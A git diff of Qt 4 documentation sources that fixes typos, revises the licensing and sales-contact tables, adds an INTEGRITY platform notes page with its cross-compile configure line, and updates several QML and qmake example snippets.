- And if no translation is loaded, the orignal string is used, with \c %n
+ And if no translation is loaded, the original string is used, with \c %n
replaced with count's value (e.g., "6 item(s) replaced").
To handle plural forms in the native language, you need to load a
diff --git a/doc/src/legal/3rdparty.qdoc b/doc/src/legal/3rdparty.qdoc
index 2c8cbef..ffac885 100644
--- a/doc/src/legal/3rdparty.qdoc
+++ b/doc/src/legal/3rdparty.qdoc
@@ -92,13 +92,8 @@
\section1 HarfBuzz (\c harfbuzz)
- \e{This is HarfBuzz, an OpenType Layout engine.}
-
- \e{It was derived originally from the OpenType code in FreeType-1.x, ported to
- FreeType2. (This code has been abandoned for FreeType2, but until something
- better comes along, should serve our purposes.) In addition to porting to
- FreeType-2, it has been modified in various other ways.} -- quoted from
- \c src/3rdparty/harfbuzz/README.
+ \e{This is HarfBuzz, an OpenType Layout engine library.}
+ -- quoted from \c src/3rdparty/harfbuzz/README.
\hr
@@ -129,8 +124,7 @@
\hr
- See \c src/3rdparty/harfbuzz/COPYING.FTL and src/3rdparty/harfbuzz/COPYING.GPL
- for license details.
+ See \c src/3rdparty/harfbuzz/COPYING for license details.
\section1 The Independent JPEG Group's JPEG Software (\c libjpeg) version 8
diff --git a/doc/src/legal/commercialeditions.qdoc b/doc/src/legal/commercialeditions.qdoc
index 37aed3f..2537a13 100644
--- a/doc/src/legal/commercialeditions.qdoc
+++ b/doc/src/legal/commercialeditions.qdoc
@@ -37,23 +37,46 @@
If you want to develop Free or Open Source software for release using a recognized
Open Source license, you can use the \l{Open Source Versions of Qt}.
- The table below summarizes the differences between the two commercial editions:
+ The following table is a summary of the licenses under which Qt is made available.
+
+ \table
+ \row \o \bold{Qt Commercial Developer License}
+ \o The Qt Commercial Developer License is the appropriate version to use for the
+ development of proprietary and/or commercial software where the developer does not
+ wish to share or distribute any source code of the Qt libraries or otherwise comply
+ with the terms of the \l{GNU Lesser General Public License (LGPL)}{GNU Lesser General
+ Public License version 2.1} or \l{GNU General Public License (GPL)}{GNU GPL version
+ 3.0}.
+ \row \o \bold{Qt GNU LGPL v. 2.1}
+ \o This version of Qt is appropriate for the development of Qt applications
+ (proprietary or open source) provided you can comply with the terms and conditions
+ contained in the \l{GNU Lesser General Public License (LGPL)}{GNU LGPL version 2.1}.
+ \row \o \bold{Qt GNU GPL v. 3.0}
+ \o This version of Qt is appropriate for the development of Qt applications where
+ you wish to use such applications in combination with software subject to the terms
+ of the GNU General Public License version 3.0 or where you are otherwise willing to
+ comply with the terms of the
+ \l{GNU General Public License (GPL)}{GNU General Public License version 3.0}.
+ \endtable
Please see the \l{Supported Platforms}{list of supported
platforms} for up-to-date information about the various platforms
and compilers that Qt supports.
- On the Qt web site, you can find a
+ On the Qt Web site, you can find a
\l{Qt Licensing Overview} and information on \l{Qt License Pricing}
for commercial editions of Qt and other Qt-related products.
- To purchase, please visit the \l{How to Order}{online order form}.
-
- For further information and assistance, please contact Qt sales.
+ \section1 Purchasing and Sales Information
- Web: http://qt.nokia.com/contact.
+ To purchase, please visit the \l{How to Order}{online order form}.
- Phone, U.S. office (for North America): \bold{1-650-813-1676}.
+ For further information and assistance, please contact the Qt sales team
+ via one of the following channels:
- Phone, Norway office (for the rest of the world): \bold{+47 21 60 48 00}.
+ \table
+ \row \o Web: \o \bold{http://qt.nokia.com/contact}
+ \row \o Phone, U.S. office (for sales in North America): \o \bold{1-408-220-9020}
+ \row \o Phone, Norway office (for sales in the rest of the world): \o \bold{+47 21 60 48 00}
+ \endtable
*/
diff --git a/doc/src/modules.qdoc b/doc/src/modules.qdoc
index 9dbf7a7..38a7a8b 100644
--- a/doc/src/modules.qdoc
+++ b/doc/src/modules.qdoc
@@ -30,7 +30,7 @@
\title All Modules
\startpage index.html Qt Reference Documentation
\nextpage QtCore
-
+
\ingroup classlists
\brief Qt 4 comprises several modules. Each module is a separate
@@ -40,7 +40,7 @@
\header \o {2,1} \bold{Modules for general software development}
\row \o \l{QtCore} \o Core non-graphical classes used by other modules
\row \o \l{QtGui} \o Graphical user interface (GUI) components
- \row \o \l{qtmultimedia-module.html}{QtMultimedia} \o Classes for low-level multimedia functionality
+ \row \o \l{QtMultimedia Module}{QtMultimedia} \o Classes for low-level multimedia functionality
\row \o \l{QtNetwork} \o Classes for network programming
\row \o \l{QtOpenGL} \o OpenGL support classes
\row \o \l{QtOpenVG} \o OpenVG support classes
diff --git a/doc/src/overviews.qdoc b/doc/src/overviews.qdoc
index 61de954..f51e320 100644
--- a/doc/src/overviews.qdoc
+++ b/doc/src/overviews.qdoc
@@ -42,7 +42,7 @@
Qt is a cross-platform application and UI framework for writing
web-enabled applications for desktop, mobile, and embedded
operating systems. This page contains links to articles and overviews
- explaining key components and techniuqes used in Qt development.
+ explaining key components and techniques used in Qt development.
\generatelist {related}
*/
@@ -51,7 +51,7 @@
\group qt-gui-concepts
\title UI Design with Qt
- \brief The Qt components for constructing native look & feel desktop UI's.
+ \brief The Qt components for constructing native look and feel desktop UI's.
These pages are about Qt's traditional set of GUI components for
building both native look & feel and custom UI's for the desktop
@@ -122,9 +122,9 @@
/*!
\group best-practices
- \title Best Practices Guides
+ \title Best Practice Guides
- \brief How-To Guides and Best Practices
+ \brief How-To and Best Practice Guides
These documents provide guidelines and best practices for using Qt
to solve specific technical problems. They are listed
diff --git a/doc/src/painting-and-printing/coordsys.qdoc b/doc/src/painting-and-printing/coordsys.qdoc
index a8febae..252159e 100644
--- a/doc/src/painting-and-printing/coordsys.qdoc
+++ b/doc/src/painting-and-printing/coordsys.qdoc
@@ -29,6 +29,7 @@
\page coordsys.html
\title Coordinate System
\ingroup qt-graphics
+ \ingroup best-practices
\brief Information about the coordinate system used by the paint
system.
diff --git a/doc/src/platforms/emb-accel.qdoc b/doc/src/platforms/emb-accel.qdoc
index c987522..5105093 100644
--- a/doc/src/platforms/emb-accel.qdoc
+++ b/doc/src/platforms/emb-accel.qdoc
@@ -117,8 +117,8 @@
\section1 Step 4: Make the Window Surface Aware of Your Paint Device
- Derive from the QWSWindowSurface class and reimplement its \l
- {QWSWindowSurface::}{paintDevice()} function. Make this function
+ Derive from the QWSWindowSurface class and reimplement its
+ paintDevice() function. Make this function
return a pointer to your custom raster paint device.
\section1 Step 5: Enable Creation of an Instance of Your Window Surface
diff --git a/doc/src/platforms/emb-qvfb.qdoc b/doc/src/platforms/emb-qvfb.qdoc
index b83da4a..e0e6fa2 100644
--- a/doc/src/platforms/emb-qvfb.qdoc
+++ b/doc/src/platforms/emb-qvfb.qdoc
@@ -197,7 +197,6 @@
for the button are redrawn from the activated skin.
\row
- \row
\o
\image qt-embedded-clamshellphone-closed.png The ClamshellPhone Skin (closed)
\o
diff --git a/doc/src/platforms/platform-notes-rtos.qdoc b/doc/src/platforms/platform-notes-rtos.qdoc
index 776f510..be63063 100644
--- a/doc/src/platforms/platform-notes-rtos.qdoc
+++ b/doc/src/platforms/platform-notes-rtos.qdoc
@@ -245,3 +245,112 @@
some regressions were spotted in QDateTime computation around year 0 and year 1970,
which have been tracked back to faulty time zone data on some QNX versions.
*/
+
+/*!
+ \page platform-notes-integrity.html
+ \title Platform Notes - INTEGRITY
+ \contentspage Platform Notes
+ \target INTEGRITY
+
+ \note INTEGRITY is a community supported platform. See the
+ \l{Supported Platforms} page for more information.
+
+ This page contains information about the Qt for INTEGRITY port. More
+ information about the combinations of platforms and compilers supported
+ by Qt can be found on the \l{Supported Platforms} page.
+
+ Note that Qt for INTEGRITY is currently based on \l{Qt for Embedded Linux},
+ which contains its own windowing system.
+
+ Qt for INTEGRITY contains experimental screen and input drivers based on the
+ gh_FB Framebuffer API for graphics, a Connection-based mouse and keyboard
+ support. For information about these drivers, please refer to Green Hills
+ Software standard support.
+
+ \tableofcontents
+
+ \section1 Supported Versions
+
+ Qt has been tested on INTEGRITY 10 on various PowerPC, ARM and x86 targets.
+ On some platforms a native graphics FrameBuffer driver is available and has
+ then been used for testing. On all other platforms, the default FrameBuffer
+ VNC driver is used.
+
+ \section1 Limitations
+
+ Some of Qt's functionality is currently not available on INTEGRITY:
+
+ \table
+ \header \o Function \o Notes
+ \row \o QProcess
+ \o Not implemented. Volunteers welcome.
+ \row \o QSharedMemory
+ \o Not available - INTEGRITY doesn't support SYSV style shared memory.
+ \row \o QSystemSemaphore
+ \o Not available - INTEGRITY doesn't support SYSV style system semaphores.
+ \row \o QWS Multi Process
+ \o QT_NO_QWS_MULTIPROCESS is always on due to missing shared memory support.
+ \row \o Phonon
+ \o There is no standard audio backend.
+ \row \o Qt3Support
+ \o The Qt3Support library is not available on INTEGRITY.
+ \row \o QtScript
+ \o Not available - INTEGRITY's mmap() doesn't support allocating memory.
+ \endtable
+
+ \section1 Build Instructions
+
+ Qt for INTEGRITY can be built on either a Linux or Windows (with cygwin) host.
+ In both cases, a standard installation of INTEGRITY is required, with the
+ addition of the FrameBuffer API.
+
+ Example configure line for cross-compiling Qt for INTEGRITY for an
+ ARM INTEGRITY target:
+
+ \code
+ ./configure --hostprefix=$PWD -embedded integrity -xplatform unsupported/qws/integrity-arm-cxarm -static -qt-kbd-integrity -qt-mouse-integrity -no-mouse-linuxtp -no-mouse-pc -no-kbd-tty -qt-gfx-integrityfb -no-qt3support -no-gfx-linuxfb -no-glib -no-openssl -no-largefile -little-endian -arch integrity -prefix / -opensource -no-feature-QWS_MULTIPROCESS -no-feature-SHAREDMEMORY -no-feature-PROCESS -no-feature-SYSTEMSEMAPHORE -no-feature-PRINTER -no-feature-QWS_QPF2 -no-scripttools
+ \endcode
+
+ \list
+ \o \c{--hostprefix=$PWD} - specifies the current directory as the base source for Qt
+ \o \c{-arch integrity} - sets the architecture to INTEGRITY (for atomic operations)
+ \o \c{-embedded integrity} - builds the embedded version of Qt and sets the architecture to INTEGRITY
+ \o \c{-xplatform unsupported/qws/integrity-arm-cxarm} - selects the arm-cxarm mkspec for INTEGRITY
+ \o \c{-static} - specifies a static build of Qt
+ \o \c{-no-gfx-linuxfb}, \c{-no-mouse-linuxtp}, \c{-no-mouse-pc} and \c{-no-kbd-tty} are Linux specific and won't work on INTEGRITY
+ \o \c{-no-qt3support} - required since the Qt3 support classes are not supported on INTEGRITY
+ \o \c{-no-exceptions} - reduces the size of the library by disabling exception support
+ \o \c{-no-openssl} - disable support for OpenSSL
+ \o \c{-no-glib} - disable support for unavailable Glib
+ \o \c{-no-largefile} - disable support for large (> 2TB) files
+ \o \c{-no-scripttools} - disable support for QtScript tools
+ \o \c{-qt-gfx-integrity} - enables the experimental gh_FB based display driver
+ \o \c{-qt-mouse-integrity} - enables the experimental Connection-based mouse driver
+ \o \c{-qt-kbd-integrity} - enables the experimental Connection-based keyboard driver
+ \endlist
+
+ The above script will generate MULTI .gpj Project files, not Makefiles. The
+ main benefit of using these project files is automatic dependency checking,
+ but this also provides an organization known to INTEGRITY customers.
+ For Qt libraries, the top-level file is projects.gpj.
+
+ \section1 General Notes
+
+ \list
+ \o Before you run the above configure line, you may want to modify the values
+ of INTEGRITY_DIR and INTEGRITY_BSP in unsupported/qws/integrity-arm-cxarm/qmake.conf.
+ If you do not do this, you will have to modify the resulting generated projects.gpj
+
+ \o GIF support is currently not enabled.
+
+ \o Default .int files are generated. You may want to modify the amount of heap assigned
+ to each example by modifying the HeapSize declaration in the specific example .int file.
+
+ \o Some of the tools, examples and demos do not compile due to dependencies on QProcess
+ or other classes that are not available on INTEGRITY.
+
+ \endlist
+
+ \section1 Platform Regressions
+
+*/
diff --git a/doc/src/platforms/platform-notes.qdoc b/doc/src/platforms/platform-notes.qdoc
index aac6bb0..de6eb7f 100644
--- a/doc/src/platforms/platform-notes.qdoc
+++ b/doc/src/platforms/platform-notes.qdoc
@@ -735,9 +735,9 @@
\row \o QtCore
\o \c AllFiles when \l{http://developer.symbian.org/wiki/index.php/Capabilities_%28Symbian_Signed%29/AllFiles_Capability}{accessing specific areas.}
\row \o QtDeclarative
- \o \c NetworkServices is automatically added for this module.
+ \o \c NetworkServices is automatically added for this module if no capabilities are explicitly specified.
\row \o QtNetwork
- \o \c NetworkServices is automatically added for this module.
+ \o \c NetworkServices is automatically added for this module if no capabilities are explicitly specified.
\row \o QtNetwork
\o \c ReadUserData is required to include all the phone's SSL certificates in the system's default CA certificate list
(for example those added by the user or stored in the SIM card),
@@ -745,7 +745,7 @@
\row \o QtMultiMedia
\o \c UserEnvironment if QAudioInput is used.
\row \o QtWebkit
- \o \c NetworkServices is automatically added for this module.
+ \o \c NetworkServices is automatically added for this module if no capabilities are explicitly specified.
\endtable
\note Some modules rely on other modules. E.g. QtWebkit and QtDeclarative
diff --git a/doc/src/porting/porting4-modifiedvirtual.qdocinc b/doc/src/porting/porting4-modifiedvirtual.qdocinc
index 1164238..332543f 100644
--- a/doc/src/porting/porting4-modifiedvirtual.qdocinc
+++ b/doc/src/porting/porting4-modifiedvirtual.qdocinc
@@ -10,7 +10,7 @@
\row \o bool QMacMime::canConvert(const char *, int) \o bool QMacMime::canConvert(const QString &, int)
\row \o QValueList<QByteArray> QMacMime::convertFromMime(QByteArray, const char *, int) \o QList<QByteArray> QMacMime::convertFromMime(QByteArray, const QString &, int)
\row \o QByteArray QMacMime::convertToMime(QValueList<QByteArray> data, const char *, int) \o QByteArray QMacMime::convertToMime(QList<QByteArray> data, const QString &, int)
-\row \o const char * QMacMime::convertorName() \o QString QMacMime::convertorName()
+\row \o const char * QMacMime::convertorName( ) \o QString QMacMime::convertorName( )
\row \o int QMacMime::flavorFor(const char *) \o int QMacMime::flavorFor(const QString &)
\row \o const char * QMacMime::mimeFor(int) \o QString QMacMime::mimeFor(int)
\row \o QMetaObject * QObject::metaObject() const \o const QMetaObject * QObject::metaObject() const
diff --git a/doc/src/porting/porting4.qdoc b/doc/src/porting/porting4.qdoc
index 0e8cd86..a3960c3 100644
--- a/doc/src/porting/porting4.qdoc
+++ b/doc/src/porting/porting4.qdoc
@@ -3609,7 +3609,7 @@
\row \o \c PE_WindowFrame \o QStyle::PE_FrameWindow
\row \o \c PE_CheckListController \o QStyle::PE_Q3CheckListController
\row \o \c PE_CheckListIndicator \o QStyle::PE_Q3CheckListIndicator
- \row \o \c PE_CheckListExclusiveIndicato\o QStyle::PE_Q3CheckListExclusiveIndicator
+ \row \o \c PE_CheckListExclusiveIndicator \o QStyle::PE_Q3CheckListExclusiveIndicator
\row \o \c PE_PanelGroupBox \o QStyle::PE_FrameGroupBox
\row \o \c PE_TreeBranch \o QStyle::PE_IndicatorBranch
\row \o \c PE_RubberBand \o QStyle::CE_RubberBand \o uses QStyle::drawControl()
diff --git a/doc/src/qt-webpages.qdoc b/doc/src/qt-webpages.qdoc
index e476b68..5a3bfc9 100644
--- a/doc/src/qt-webpages.qdoc
+++ b/doc/src/qt-webpages.qdoc
@@ -244,3 +244,8 @@
\externalpage http://labs.qt.nokia.com
\title Qt Labs
*/
+
+/*!
+ \externalpage http://qt.gitorious.org/qt/pages/QtCodingStyle
+ \title Qt Coding Style
+*/
diff --git a/doc/src/qt4-intro.qdoc b/doc/src/qt4-intro.qdoc
index 6effbfa..3cabb1c 100644
--- a/doc/src/qt4-intro.qdoc
+++ b/doc/src/qt4-intro.qdoc
@@ -328,7 +328,7 @@
With Qt 4, the Qt class has become the Qt namespace. If you want
to access a constant that is part of the Qt namespace, prefix it
- with \c Qt:: (e.g., \c{Qt::yellow}), or add the directive
+ with \c{Qt::} (e.g., \c{Qt::yellow}), or add the directive
\snippet doc/src/snippets/code/doc_src_qt4-intro.qdoc 7
@@ -341,7 +341,7 @@
in Qt 3, it was legal to write \c QWidget::yellow instead of \c
Qt::yellow, because QWidget inherited from Qt. This won't work in
Qt 4; you must write \c Qt::yellow or add the "using namespace"
- directive and drop the \c Qt:: prefix.
+ directive and drop the \c{Qt::} prefix.
The \l{qt3to4 - The Qt 3 to 4 Porting Tool}{qt3to4} porting tool
automates this conversion.
diff --git a/doc/src/snippets/code/doc_src_installation.qdoc b/doc/src/snippets/code/doc_src_installation.qdoc
index cf204b5..5aaa2b0 100644
--- a/doc/src/snippets/code/doc_src_installation.qdoc
+++ b/doc/src/snippets/code/doc_src_installation.qdoc
@@ -328,9 +328,10 @@ runonphone -s myapp.sis myapp.exe
//! [49]
//! [50]
-nokia_plugin/openc/s60opencsis/openc_ssl_s60_1_6_ss.sis
-nokia_plugin/openc/s60opencsis/pips_s60_1_6_ss.sis
-nokia_plugin/opencpp/s60opencppsis/stdcpp_s60_1_6_ss.sis
+src/s60installs/sqlite3.sis
+$EPOCROOT/nokia_plugin/openc/s60opencsis/openc_ssl_s60_1_6_ss.sis
+$EPOCROOT/nokia_plugin/openc/s60opencsis/pips_s60_1_6_ss.sis
+$EPOCROOT/nokia_plugin/opencpp/s60opencppsis/stdcpp_s60_1_6_ss.sis
//! [50]
diff --git a/doc/src/snippets/code/doc_src_lgpl.qdoc b/doc/src/snippets/code/doc_src_lgpl.qdoc
index 11fd0ff..3ff5936 100644
--- a/doc/src/snippets/code/doc_src_lgpl.qdoc
+++ b/doc/src/snippets/code/doc_src_lgpl.qdoc
@@ -96,7 +96,7 @@ modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.
-
+
Finally, software patents pose a constant threat to the existence of
any free program. We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
@@ -152,7 +152,7 @@ modification follow. Pay close attention to the difference between a
"work based on the library" and a "work that uses the library". The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.
-
+
GNU LESSER GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
@@ -199,7 +199,7 @@ Library.
You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.
-
+
2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
@@ -257,7 +257,7 @@ instead of to this License. (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.) Do not make any other change in
these notices.
-
+
Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.
@@ -308,7 +308,7 @@ Library will still fall under Section 6.)
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.
-
+
6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
@@ -370,7 +370,7 @@ restrictions of other proprietary libraries that do not normally
accompany the operating system. Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.
-
+
7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
@@ -388,7 +388,7 @@ permitted, and provided that you do these two things:
where to find the accompanying uncombined form of the same work.
8. You may not copy, modify, sublicense, link with, or distribute
-the Library except as expressly provided under this License. Any
+0the Library except as expressly provided under this License. Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License. However, parties who have received copies,
@@ -411,7 +411,7 @@ subject to these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.
-
+
11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
@@ -463,7 +463,7 @@ conditions either of that version or of any later version published by
the Free Software Foundation. If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.
-
+
14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission. For software which is
@@ -497,7 +497,7 @@ SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.
END OF TERMS AND CONDITIONS
-
+
How to Apply These Terms to Your New Libraries
If you develop a new library, and you want it to be of the greatest
diff --git a/doc/src/snippets/code/doc_src_qmake-manual.qdoc b/doc/src/snippets/code/doc_src_qmake-manual.qdoc
index f6ac4f8..a35a3d9 100644
--- a/doc/src/snippets/code/doc_src_qmake-manual.qdoc
+++ b/doc/src/snippets/code/doc_src_qmake-manual.qdoc
@@ -1029,3 +1029,15 @@ DEPLOYMENT += dep_note
//! [156]
DEPLOYMENT.display_name = My Qt App
//! [156]
+
+//! [157]
+packagesExist(sqlite3 QtNetwork QtDeclarative) {
+ DEFINES += USE_FANCY_UI
+}
+//! [157]
+
+//! [158]
+#ifdef USE_FANCY_UI
+ // Use the fancy UI, as we have extra packages available
+#endif
+//! [158]
diff --git a/doc/src/snippets/code/doc_src_stylesheet.qdoc b/doc/src/snippets/code/doc_src_stylesheet.qdoc
index 49e2581..9b8a3b5 100644
--- a/doc/src/snippets/code/doc_src_stylesheet.qdoc
+++ b/doc/src/snippets/code/doc_src_stylesheet.qdoc
@@ -213,7 +213,7 @@ namespace ns {
}
// ...
-qApp->setSytleSheet("ns--MyPushButton { background: yellow; }");
+qApp->setStyleSheet("ns--MyPushButton { background: yellow; }");
//! [27]
diff --git a/doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp b/doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp
index 2494eb2..11f5163 100644
--- a/doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp
+++ b/doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp
@@ -75,7 +75,7 @@ QString result = future.result();
//! [4]
// call 'QList<QByteArray> QByteArray::split(char sep) const' in a separate thread
-QByteArray bytearray = "hello world;
+QByteArray bytearray = "hello world";
QFuture<QList<QByteArray> > future = QtConcurrent::run(bytearray, &QByteArray::split), ',');
...
QList<QByteArray> result = future.result();
diff --git a/doc/src/snippets/declarative/application.qml b/doc/src/snippets/declarative/application.qml
new file mode 100644
index 0000000..06f83f2
--- /dev/null
+++ b/doc/src/snippets/declarative/application.qml
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.1
+
+Rectangle {
+ width: 300; height: 55
+ color: Qt.application.active ? "white" : "lightgray"
+ Text {
+ text: "Application " + (Qt.application.active ? "active" : "inactive")
+ opacity: Qt.application.active ? 1.0 : 0.5
+ anchors.centerIn: parent
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/colors.qml b/doc/src/snippets/declarative/colors.qml
new file mode 100644
index 0000000..c670eca
--- /dev/null
+++ b/doc/src/snippets/declarative/colors.qml
@@ -0,0 +1,125 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 160; height: 250
+
+ Image {
+ width: 160; height: 200
+ source: "pics/checker.svg"
+ fillMode: Image.Tile
+
+ //! [colors]
+ Rectangle {
+ color: "steelblue"
+ width: 40; height: 40
+ }
+ Rectangle {
+ color: "transparent"
+ y: 40; width: 40; height: 40
+ }
+ Rectangle {
+ color: "#FF0000"
+ y: 80; width: 40; height: 40
+ }
+ Rectangle {
+ color: "#800000FF"
+ y: 120; width: 40; height: 40
+ }
+ Rectangle {
+ color: "#00000000" // ARGB fully transparent
+ y: 160
+ width: 40; height: 40
+ }
+ //! [colors]
+
+ Rectangle {
+ x: 40
+ width: 120; height: 200
+
+ Text {
+ font.pixelSize: 16
+ text: "steelblue"
+ x: 10; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ font.pixelSize: 16
+ text: "transparent"
+ x: 10; y: 40; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ font.pixelSize: 16
+ text: "FF0000"
+ x: 10; y: 80; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ font.pixelSize: 16
+ text: "800000FF"
+ x: 10; y: 120; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ font.pixelSize: 16
+ text: "00000000"
+ x: 10; y: 160; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ }
+ }
+
+ Image {
+ y: 210
+ width: 40; height: 40
+ source: "pics/checker.svg"
+ fillMode: Image.Tile
+ }
+
+ Text {
+ font.pixelSize: 16
+ text: "(background)"
+ x: 50; y: 210; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+}
diff --git a/doc/src/snippets/declarative/componentCreation.js b/doc/src/snippets/declarative/componentCreation.js
index c29a1f9..cf59777 100644
--- a/doc/src/snippets/declarative/componentCreation.js
+++ b/doc/src/snippets/declarative/componentCreation.js
@@ -17,15 +17,11 @@ function createSpriteObjects() {
//![local]
component = Qt.createComponent("Sprite.qml");
- sprite = component.createObject(appWindow);
+ sprite = component.createObject(appWindow, {"x": 100, "y": 100});
if (sprite == null) {
// Error Handling
console.log("Error creating object");
- } else {
- sprite.x = 100;
- sprite.y = 100;
- // ...
}
//![local]
diff --git a/doc/src/snippets/declarative/focus/focusColumn.qml b/doc/src/snippets/declarative/focus/focusColumn.qml
index e6a6fcf..42ee3da 100644
--- a/doc/src/snippets/declarative/focus/focusColumn.qml
+++ b/doc/src/snippets/declarative/focus/focusColumn.qml
@@ -1,6 +1,6 @@
/****************************************************************************
**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
diff --git a/doc/src/snippets/declarative/folderlistmodel.qml b/doc/src/snippets/declarative/folderlistmodel.qml
index 3bddefb..8aeb72c 100644
--- a/doc/src/snippets/declarative/folderlistmodel.qml
+++ b/doc/src/snippets/declarative/folderlistmodel.qml
@@ -43,15 +43,19 @@ import QtQuick 1.0
import Qt.labs.folderlistmodel 1.0
ListView {
+ width: 200; height: 400
+
FolderListModel {
- id: foldermodel
+ id: folderModel
nameFilters: ["*.qml"]
}
+
Component {
- id: filedelegate
+ id: fileDelegate
Text { text: fileName }
}
- model: foldermodel
- delegate: filedelegate
+
+ model: folderModel
+ delegate: fileDelegate
}
//![0]
